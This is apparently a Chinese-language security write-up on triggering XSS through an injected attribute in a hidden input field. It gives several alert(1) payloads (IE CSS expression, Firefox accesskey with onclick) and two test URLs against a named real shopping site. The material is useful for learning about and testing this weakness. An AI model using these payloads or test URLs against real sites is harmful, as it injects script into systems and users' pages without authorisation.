input标签type为hidden时的xss利用
问题场景
有时候会遇到这个场景的XSS,输出在input标签的value里,可以引入双引号,所以可以引入新的属性。但是type是hidden。导致常规的一些事件没法利用。
<input type="hidden" name="redacted" value="default" injection="xss" />
结论
在某些条件下是可以执行javascript的,但是比较鸡肋。资料收集的结论就是利用价值极低。
利用方式
1,如果输出是在type=”hidden”之前,直接覆盖type,就变成了一个常规的xss。这个情况比较少见。
2,建立两个HTML文件,one.htm
<iframe src=two.htm>
two.htm
<input type=hidden style=x:expression(alert(1))>
测试于IE6-9 可以弹。
3,firefox使用键盘交互的方式。
<input type="hidden" accesskey="X" onclick="alert(1)">
Only works on Firefox. ALT+SHIFT+X on Windows/Linux, CTRL+ALT+X osx.
4,使用expression
IE6下
<input type=hidden style=x:expression(alert(1))>
实例测试
http://m.yohobuy.com/passport//back//backcode?phoneNum=15381187741&token=a%20accesskey=X%20onclick=alert%281%29&areaCode=8
http://m.yohobuy.com/passport//back//backcode?phoneNum=15381187741&token=e6fd9%20style%3dx%3aexpr%2f**%2fession(open(alert(1)))%20e6fd9&areaCode=8
参考资料
http://zone.wooyun.org/content/9856
http://blog.portswigger.net/2015/11/xss-in-hidden-input-fields.html